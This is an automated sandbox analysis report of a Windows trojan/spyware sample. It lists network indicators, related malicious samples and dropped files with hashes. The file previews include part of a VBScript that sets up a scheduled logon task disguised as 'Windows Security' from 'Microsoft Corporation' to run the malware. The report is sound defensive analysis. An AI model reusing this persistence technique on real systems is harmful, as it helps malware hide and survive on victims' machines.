https://www.tiktok.com/legal/report	svchost.exe, 0000000F.00000003.444504938.00000129A5B78000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.444848797.00000129A5B83000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.444604322.00000129A5B7E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id13Response	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 00000005.00000002.317987821.000002185623E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1	18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty	18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
162.159.128.233	unknown	United States	13335	CLOUDFLARENETUS	false
65.108.82.103	unknown	United States	11022	ALABANZA-BALTUS	true
162.159.135.232	discord.com	United States	13335	CLOUDFLARENETUS	false
141.8.192.151	f0645594.xsph.ru	Russian Federation	35278	SPRINTHOSTRU	false

Private

IP
192.168.2.1
127.0.0.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	591720
Start date and time:	2022-03-18 05:58:23 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	18561381.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	36
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@37/14@4/6
EGA Information:	Successful, ratio: 75%
HDC Information:	Successful, ratio: 3.5% (good quality ratio 2.2%) Quality average: 38.4% Quality standard deviation: 36.4%
HCA Information:	Successful, ratio: 78% Number of executed functions: 166 Number of non-executed functions: 5
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): taskhostw.exe, BackgroundTransferHost.exe, UpdateNotificationMgr.exe, backgroundTaskHost.exe, UsoClient.exe, wuapihost.exe
Excluded IPs from analysis (whitelisted): 23.211.6.115, 23.211.4.86, 20.54.110.249, 51.11.168.232, 20.49.150.241
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ctldl.windowsupdate.com, store-images.s-microsoft.com-c.edgekey.net, e1723.g.akamaiedge.net, settings-win.data.microsoft.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, go.microsoft.com, settings-prod-uks-2.uksouth.cloudapp.azure.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, store-images.s-microsoft.com, sls.update.microsoft.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, settings-prod-uks-1.uksouth.cloudapp.azure.com, prod.fs.microsoft.com.akadns.net, atm-settingsfe-prod-geo.trafficmanager.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net
Execution Graph export aborted for target 18561381.exe, PID 6608 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
07:00:02	API Interceptor	11x Sleep call for process: svchost.exe modified
07:00:30	API Interceptor	51x Sleep call for process: 18561381.exe modified
07:00:51	API Interceptor	1x Sleep call for process: MpCmdRun.exe modified
07:01:06	API Interceptor	30x Sleep call for process: powershell.exe modified
07:01:17	Task Scheduler	Run new task: Windows Security path: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
162.159.128.233	Harvest Global.exe	Get hash	malicious	Browse
	Purchase Order Specification.exe	Get hash	malicious	Browse
	IMG_2231.pdf.bat	Get hash	malicious	Browse
	Cheat installer.exe	Get hash	malicious	Browse
	RFQ-55014CH.xlsx	Get hash	malicious	Browse
	QUOTE-107322 VEND-001177.exe	Get hash	malicious	Browse
	spyware (1).exe	Get hash	malicious	Browse
	Invoice.exe	Get hash	malicious	Browse
	DTerqwk11T.exe	Get hash	malicious	Browse
	qgMcnt4meR.exe	Get hash	malicious	Browse
	6mcCKhxziZ.exe	Get hash	malicious	Browse
	p9rcfiyHw8.exe	Get hash	malicious	Browse
	2QoYrCwru8.exe	Get hash	malicious	Browse
	vi8QTMd66F.exe	Get hash	malicious	Browse
	grSOQT4TB1.exe	Get hash	malicious	Browse
	BoLWLG7VMo.exe	Get hash	malicious	Browse
	NitroRansomware.exe	Get hash	malicious	Browse
	lololololololol.exe	Get hash	malicious	Browse
	installer.exe	Get hash	malicious	Browse
	Pheonix loader.exe	Get hash	malicious	Browse
162.159.135.232	Awbfdx n.exe	Get hash	malicious	Browse
	IMG_2231.pdf.bat	Get hash	malicious	Browse
	47ee7c873ff6ad620d68f6bd92cbd41ae0194c446720228f805f3487192dd909.exe	Get hash	malicious	Browse
	V00789hs.exe	Get hash	malicious	Browse
	8ukUab5AIs.exe	Get hash	malicious	Browse
	Orden de compra.exe	Get hash	malicious	Browse
	MV Bosphorus Prince - Ship's Particulars.exe	Get hash	malicious	Browse
	spyware (1).exe	Get hash	malicious	Browse
	Payment Confirmation copy.exe	Get hash	malicious	Browse
	Desudo.exe	Get hash	malicious	Browse
	lue8PBkiWI.exe	Get hash	malicious	Browse
	javaw.jar	Get hash	malicious	Browse
	zHIeitCle2.exe	Get hash	malicious	Browse
	VeHC0dKQWq.exe	Get hash	malicious	Browse
	kXTrDKY4WA.exe	Get hash	malicious	Browse
	gzonpuWTjw.exe	Get hash	malicious	Browse
	2QoYrCwru8.exe	Get hash	malicious	Browse
	ZksJDD17ip.exe	Get hash	malicious	Browse
	vi8QTMd66F.exe	Get hash	malicious	Browse
	8fQoZiYq5t.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
discord.com	Awbfdx n.exe	Get hash	malicious	Browse	162.159.135.232
	Harvest Global.exe	Get hash	malicious	Browse	162.159.128.233
	SC 7910013203.exe	Get hash	malicious	Browse	162.159.138.232
	New Order.exe	Get hash	malicious	Browse	162.159.136.232
	Purchase Order Specification.exe	Get hash	malicious	Browse	162.159.128.233
	PornHubPremium.exe	Get hash	malicious	Browse	162.159.138.232
	PruQiQ62ok.exe	Get hash	malicious	Browse	162.159.137.232
	SecuriteInfo.com.Trojan.DownLoader44.42929.521.exe	Get hash	malicious	Browse	162.159.136.232
	IMG_2231.pdf.bat	Get hash	malicious	Browse	162.159.128.233
	Exoblast_Setup.exe	Get hash	malicious	Browse	162.159.138.232
	Cheat installer.exe	Get hash	malicious	Browse	162.159.128.233
	s400_unpacked.exe	Get hash	malicious	Browse	162.159.136.232
	DuThJ88QX1.exe	Get hash	malicious	Browse	162.159.136.232
	47ee7c873ff6ad620d68f6bd92cbd41ae0194c446720228f805f3487192dd909.exe	Get hash	malicious	Browse	162.159.135.232
	MonsterEC.exe	Get hash	malicious	Browse	162.159.136.232
	QUOTE-107322 VEND-001177.exe	Get hash	malicious	Browse	162.159.128.233
	V00789hs.exe	Get hash	malicious	Browse	162.159.135.232
	8ukUab5AIs.exe	Get hash	malicious	Browse	162.159.135.232
	Orden de compra.exe	Get hash	malicious	Browse	162.159.135.232
	MV SEAGEMINI - SHIP'S PARTICULARS.docx.exe	Get hash	malicious	Browse	162.159.137.232
pool.hashvault.pro	65156069.exe	Get hash	malicious	Browse	131.153.56.98
	43518424.exe	Get hash	malicious	Browse	131.153.56.98
	47258856.exe	Get hash	malicious	Browse	131.153.142.106
	SecuriteInfo.com.Trojan.Siggen17.20744.20240.exe	Get hash	malicious	Browse	46.4.27.39
	E8b3pb9pXS.exe	Get hash	malicious	Browse	46.4.27.39
	9BoXnQe9xC.exe	Get hash	malicious	Browse	46.4.27.39
	j7IyndsN3j.exe	Get hash	malicious	Browse	46.4.27.39
	XdjFCYu5Lw.exe	Get hash	malicious	Browse	142.132.131.248
	uBqtkBsg9u.exe	Get hash	malicious	Browse	142.132.131.248
	sOvtqUVZjM.exe	Get hash	malicious	Browse	142.132.131.248
	ejaL9OQ7i2.exe	Get hash	malicious	Browse	131.153.56.98
	Mlw.exe	Get hash	malicious	Browse	131.153.56.98
	vidos-miner.exe	Get hash	malicious	Browse	131.153.142.106
	SecuriteInfo.com.Trojan.BtcMine.3606.23579.exe	Get hash	malicious	Browse	131.153.56.98
	InjectFortnite.exe	Get hash	malicious	Browse	131.153.56.98
	SrVt4JW6B0.exe	Get hash	malicious	Browse	131.153.142.106
	C8y1dfEplB.exe	Get hash	malicious	Browse	46.4.27.39
	2doPTKCqR8.exe	Get hash	malicious	Browse	142.132.131.248
	0xzavaKLRb.exe	Get hash	malicious	Browse	131.153.142.106
	77LkHB2CDY.exe	Get hash	malicious	Browse	142.132.131.248

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ALABANZA-BALTUS	13557107.exe	Get hash	malicious	Browse	65.108.213.117
	https://new.groteck.ru/ban-man/www/delivery/ck.php?oaparams=2__bannerid=2646__zoneid=136__cb=b9c2402ecb_oadest=http://dmb.65k.dudleysurveyors.co.uk/T5VW7S/aHR0cHM6Ly90aW50aW4uY28uemEvY2dpL2ZqdGtueC9ULlRlc3RUZXN0LkNUUkBkb3QuZ292	Get hash	malicious	Browse	65.108.96.250
	CA5309ECA6C4688B50A8DD11520273AD243177D016B7B.exe	Get hash	malicious	Browse	65.108.180.72
	XZ4GZVNZah	Get hash	malicious	Browse	208.56.228.143
	Genshin Impact cheat be Spyro.exe	Get hash	malicious	Browse	65.108.20.180
	G46QfGk1tE.exe	Get hash	malicious	Browse	65.108.213.117
	mirai.spc	Get hash	malicious	Browse	208.56.194.249
	dx86	Get hash	malicious	Browse	216.147.99.175
	BE2A74BC76E5429010CE7741E58AECC253A33E1DBD713.exe	Get hash	malicious	Browse	65.108.20.195
	download.dat.exe	Get hash	malicious	Browse	65.108.47.204
	bZDW47hpqg.exe	Get hash	malicious	Browse	65.108.20.180
	NPe01DNTDy.exe	Get hash	malicious	Browse	65.108.105.186
	0aec4071fbf140e11a942e884761387b18fa2c589091e.exe	Get hash	malicious	Browse	65.108.48.203
	ZtYNQ1ZX9z	Get hash	malicious	Browse	64.176.151.17
	cOAxdnn65P.exe	Get hash	malicious	Browse	65.108.19.229
	d23aaa6690b8141985a4237e4660246f83a59460d1fc7.exe	Get hash	malicious	Browse	65.108.157.66
	qQrAQl4zw1.exe	Get hash	malicious	Browse	65.108.77.212
	dJ7475ssq0.exe	Get hash	malicious	Browse	65.108.155.192
	sys.exe	Get hash	malicious	Browse	65.108.159.51
	setup_installer.exe	Get hash	malicious	Browse	65.108.20.195
CLOUDFLARENETUS	16440147.exe	Get hash	malicious	Browse	162.159.134.233
	16746864.exe	Get hash	malicious	Browse	188.114.96.7
	https://gtbdsd.axshare.com/#id=6jrovs&p=page_1&c=1	Get hash	malicious	Browse	104.17.203.204
	https://dsslaw.com.au/one-stop-guide-to-trade-promotion-competitions-australia/	Get hash	malicious	Browse	172.67.38.66
	Westernunion_Securedocs_.html	Get hash	malicious	Browse	104.16.19.94
	https://www.trymaro.com/index.php?main_page=product_info&cPath=1&products_id=73	Get hash	malicious	Browse	188.114.96.7
	https://eeiusa.ucraft.site/	Get hash	malicious	Browse	104.22.43.139
	https://eeiusa.ucraft.site/	Get hash	malicious	Browse	104.18.11.207
	https://zaeouazoipostnzzz.blogspot.com/?m=0	Get hash	malicious	Browse	104.18.11.207
	Update_2.exe	Get hash	malicious	Browse	104.18.114.97
	https://lnkd.in/d3UcH-Bx	Get hash	malicious	Browse	104.18.11.207
	Summitbiolabs.htm	Get hash	malicious	Browse	104.16.19.94
	https://linkprotect.cudasvc.com/url?a=https%3a%2f%2ftroycegatewood.document360.io%2fv1%2fdocs%2ftroycegatewood&c=E,1,4_Fb1_DhHHfrqrvq4fGpfI2AcX4fzIesLbPLCjZTqNhRXVy5AnKqWDjVbo_nQ3UDSmGNBDmeZR8ZGJG5Khu12jyxL9buxEmFLlL0DcpZl5tO8NAu2YZFMVpg40Q,&typo=1	Get hash	malicious	Browse	104.21.19.186
	13557107.exe	Get hash	malicious	Browse	104.21.80.230
	signed copy.exe	Get hash	malicious	Browse	162.159.134.233
	35344724.exe	Get hash	malicious	Browse	162.159.134.233
	58667292.exe	Get hash	malicious	Browse	104.23.99.190
	14167913.exe	Get hash	malicious	Browse	162.159.135.233
	https://sites.google.com/view/fosfoo/	Get hash	malicious	Browse	104.18.22.52
	TMB-CI2006-003 USD.7.73459.exe	Get hash	malicious	Browse	162.159.133.233

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	16440147.exe	Get hash	malicious	Browse	162.159.128.233
	https://1drv.ms/o/s!BDUkX1Fbp6_igmoH5uyUrRtLi45i?e=KIycmz0ctUWh9KuWGE6Wwg&at=9	Get hash	malicious	Browse	162.159.128.233
	Order SpecificationQuantity__1243536203-15-2022#A201223.exe	Get hash	malicious	Browse	162.159.128.233
	https://ccda.azurewebsites.net	Get hash	malicious	Browse	162.159.128.233
	13111105.exe	Get hash	malicious	Browse	162.159.128.233
	signed copy.exe	Get hash	malicious	Browse	162.159.128.233
	86503807.exe	Get hash	malicious	Browse	162.159.128.233
	33586405.exe	Get hash	malicious	Browse	162.159.128.233
	35344724.exe	Get hash	malicious	Browse	162.159.128.233
	24982297.exe	Get hash	malicious	Browse	162.159.128.233
	TMB-CI2006-003 USD.7.73459.exe	Get hash	malicious	Browse	162.159.128.233
	http://rotation.ahrealestatepr.com	Get hash	malicious	Browse	162.159.128.233
	DHL-Airway Bill.exe	Get hash	malicious	Browse	162.159.128.233
	SOA.exe	Get hash	malicious	Browse	162.159.128.233
	QToMt6TO0r.exe	Get hash	malicious	Browse	162.159.128.233
	GjiKeURUok.exe	Get hash	malicious	Browse	162.159.128.233
	https://globalgtt.online/y3789ee1968ebb4120ybd653a745a9748fc5.html	Get hash	malicious	Browse	162.159.128.233
	Bank Swift Copy.exe	Get hash	malicious	Browse	162.159.128.233
	POJNJ172022.exe	Get hash	malicious	Browse	162.159.128.233
	PO-317202.exe	Get hash	malicious	Browse	162.159.128.233

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x93206101, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	786432
Entropy (8bit):	0.2505795249539896
Encrypted:	false
SSDEEP:	384:c+W0StseCJ48EApW0StseCJ48E2rTSjlK/ebmLerYSRSY1J2:DSB2nSB2RSjlK/+mLesOj1J2
MD5:	3FF557F4BD72354CC1F8D4FF9FB9F852
SHA1:	B48E3112DD9415B958011C2E5018C50066C940C4
SHA-256:	AF32E1E08C6AEB4F048D0BDC95E3999B9D11D95E76414A09B43099B4579B4D26
SHA-512:	CFBD08E71981595D3A02B0CE6C435D4B7D820990088EE33969FD044ECEB6CCB36901C46007B216B359C8544BB5E68C3CE78DC40AC764902C96D9FFB1216FC0D1
Malicious:	false
Preview:	. a.... ................e.f.3...w........................&..........w.......z..h.(..............................3...w...........................................................................................................B...........@...................................................................................................... ........3...w.......................................................................................................................................................................................................................................%3......z.y.........................z..........................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\18561381.exe.log

Download File

Process:	C:\Users\user\Desktop\18561381.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2932
Entropy (8bit):	5.334469918014252
Encrypted:	false
SSDEEP:	48:MxHKXeHKlEHU0YHKhQnouHIWUfHK7HKhBHKdHKB1AHKzvQTHmtHoxHImHK1HxLHW:iqXeqm00YqhQnouOq7qLqdqUqzcGtIxf
MD5:	92A61FC50E2FFFA916EF86C2F42C7557
SHA1:	145AD3EAEB578E9BBEE8F36DF312024BDA733602
SHA-256:	12D868AA2721F27C9353109BC11B79E28880B388AE22A0681EB337540DD1D798
SHA-512:	35A0CC24FD5D081CDD4065F118A6FA2EBA688D756EAC708AC5F85D21C2358D6DF815BC23399096507F5562AF882303AA361EB92EA0F98ECA6AE9356C34BC431B
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\PresentationCore\820a27781e8540ca263d835ec155f1a5\PresentationCore.ni.dll",0..3,"PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\889128adc9a7c9370e5e293f65060164\PresentationFramework.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"WindowsBase, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Wi

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.9260988789684415
Encrypted:	false
SSDEEP:	3:Nlllulb/lj:NllUb/l
MD5:	13AF6BE1CB30E2FB779EA728EE0A6D67
SHA1:	F33581AC2C60B1F02C978D14DC220DCE57CC9562
SHA-256:	168561FB18F8EBA8043FA9FC4B8A95B628F2CF5584E5A3B96C9EBAF6DD740E3F
SHA-512:	1159E1087BC7F7CBB233540B61F1BDECB161FF6C65AD1EFC9911E87B8E4B2E5F8C2AF56D67B33BC1F6836106D3FEA8C750CC24B9F451ACF85661E0715B829413
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_050cjxto.oah.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d4g0jj3b.toy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\build.exe

Download File

Process:	C:\Users\user\Desktop\18561381.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	233472
Entropy (8bit):	6.1244023562196475
Encrypted:	false
SSDEEP:	6144:QHFVEAkcZ65pbIZimlXXuwpihAeiJN4pj6SytmPXNUb3K3e:GFVEAkz5pbIZimlXXuwp+AeiJN4pj6Sh
MD5:	D1DB0A92A4C72B887CC16A32E9D285A8
SHA1:	87D0C2DFFC47615B70557399C8CF937F55599713
SHA-256:	95FC31E41A4134E57B2EBC1F31F0857DCF98BA3A0F78F0675E2C8C45C32BC19B
SHA-512:	31557170E2485584ACE194D9337D073E73C18E42806EDF796C1FEF981301C6AE2748A1D72406545380E0B7F099C0CB4E4337B7D61673F825B49A3CBF1B87DE71
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 20%, Browse Antivirus: ReversingLabs, Detection: 81%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....(-b.........."...0..X...4...........`... ....@.. ....................................@..................................g..W....................................................................................................`..H...........X1(u;sB2D0... ...2..................@....text....T...`...V...6.............. ..`.reloc..............................@..B.................................... ..`................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpBD82.vbs

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1589
Entropy (8bit):	5.0263672994071005
Encrypted:	false
SSDEEP:	48:jwgqjbbWYKMDp3m57zCDViF5DSSBMVx46LpTTGuGfsG9Yhov:7qj3WYKMDRu76uVSSBMVftbG0uY+v
MD5:	0C0A7BB91B6D2B5BE72AD4DF76E768D6
SHA1:	B6960887D02FCBA7B25FB0DEC08434D26BEE5954
SHA-256:	EE1856455066554EA2E5FA60492EF437F8BB78B10DF46C1A6B77187C317DAFBD
SHA-512:	7D1290B663076FDFFC1B33BB651C9DF0CCA97A644ADBD64339757B08ED2A5B26EAB2140B36DDAEA91FFBCBA8829A6EAD48C8B97C7DD65F2CF7DD3D6E356637A5
Malicious:	true
Preview:	const TriggerTypeLogon=9 : const ActionTypeExecutable=0 : const TASK_LOGON_INTERACTIVE_TOKEN=3 : const createOrUpdateTask=6 : Set service=CreateObject("Schedule.Service") : call service.Connect() : Dim rootFolder : Set rootFolder=service.GetFolder("") : Dim taskDefinition : Set taskDefinition=service.NewTask(0) : Dim regInfo : Set regInfo=taskDefinition.RegistrationInfo : regInfo.Author="Microsoft Corporation" : regInfo.Description="Windows Security is a software application that safeguards a system from malware. It was an anti-spyware program built to fight unauthorized access and protect Windows computers from unwanted software." : Dim settings : Set settings=taskDefinition.Settings : settings.StartWhenAvailable=True : settings.ExecutionTimeLimit="PT0S" : settings.AllowHardTerminate=False : settings.IdleSettings.StopOnIdleEnd=False : settings.DisallowStartIfOnBatteries=False : settings.StopIfGoingOnBatteries=False : Dim triggers : Set triggers=taskDefinition.Triggers : Dim trigger :

C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\build.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	233472
Entropy (8bit):	6.1244023562196475
Encrypted:	false
SSDEEP:	6144:QHFVEAkcZ65pbIZimlXXuwpihAeiJN4pj6SytmPXNUb3K3e:GFVEAkz5pbIZimlXXuwp+AeiJN4pj6Sh
MD5:	D1DB0A92A4C72B887CC16A32E9D285A8
SHA1:	87D0C2DFFC47615B70557399C8CF937F55599713
SHA-256:	95FC31E41A4134E57B2EBC1F31F0857DCF98BA3A0F78F0675E2C8C45C32BC19B
SHA-512:	31557170E2485584ACE194D9337D073E73C18E42806EDF796C1FEF981301C6AE2748A1D72406545380E0B7F099C0CB4E4337B7D61673F825B49A3CBF1B87DE71
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 20%, Browse Antivirus: ReversingLabs, Detection: 81%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....(-b.........."...0..X...4...........`... ....@.. ....................................@..................................g..W....................................................................................................`..H...........X1(u;sB2D0... ...2..................@....text....T...`...V...6.............. ..`.reloc..............................@..B.................................... ..`................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\20220318\PowerShell_transcript.910646.Z4XxodN0.20220318070104.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1208
Entropy (8bit):	5.281753627747161
Encrypted:	false
SSDEEP:	24:BxSAdV0xvBnQx2DOXcyKWAka4WQHjeTKKjX4CIym1ZJXVV2fyKWAka7VxKxSAZJr:BZdSvhQoO5KpbQqDYB1ZfcaKp7qZZJr
MD5:	184FD21BB9E08F5704E16C446D43C573
SHA1:	B60F8B038F8F4A1E1BFFFFA54D6634A5337294F9
SHA-256:	D14177A391C908463068B86DB31581EE5AD9A02246E30C797BDCBF1372DA8224
SHA-512:	172EC5DA55EF5308E3928C2732CF7EE4A83CD1F601425827DABE04F3A7C07492DF59916A8D9D62EEAF0307B981C5B314DBE61880921E751DA707E643B85055AD
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20220318070106..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 910646 (Microsoft Windows NT 10.0.17134.0)..Host Application: powershell -command $ErrorActionPreference= 'silentlycontinue'; (Get-WmiObject Win32_Process \| Where-Object { $_.Path.StartsWith('C:\Users\user\AppData\Local\Temp\build.exe') }).Terminate()..Process ID: 4880..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20220318070106..******************..PS>$ErrorActionPreference= 'silentlycontinue'; (Get-WmiObject Win32_Process \| Where-Object { $_.Path.StartsWith('C:\Users\user\AppData\Local\Temp\build.exe') }).Terminate()..****

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF, CR line terminators
Category:	modified
Size (bytes):	9062
Entropy (8bit):	3.1618631184203108
Encrypted:	false
SSDEEP:	192:cY+38+DJl+ibJ6+ioJJ+i3N+WtT+E9tD+Ett3d+E3zJ+O:j+s+v+b+P+m+0+Q+q+q+O
MD5:	73B6E7915733B3F20FFB621F82E6E694
SHA1:	630255B170A8BAF84FCE2983FD4DDC97AA08424E
SHA-256:	42B6B0E453F82C2D21A6AA79AC0875E25F870B8BDFBC627E844F8BD4CE9F580B
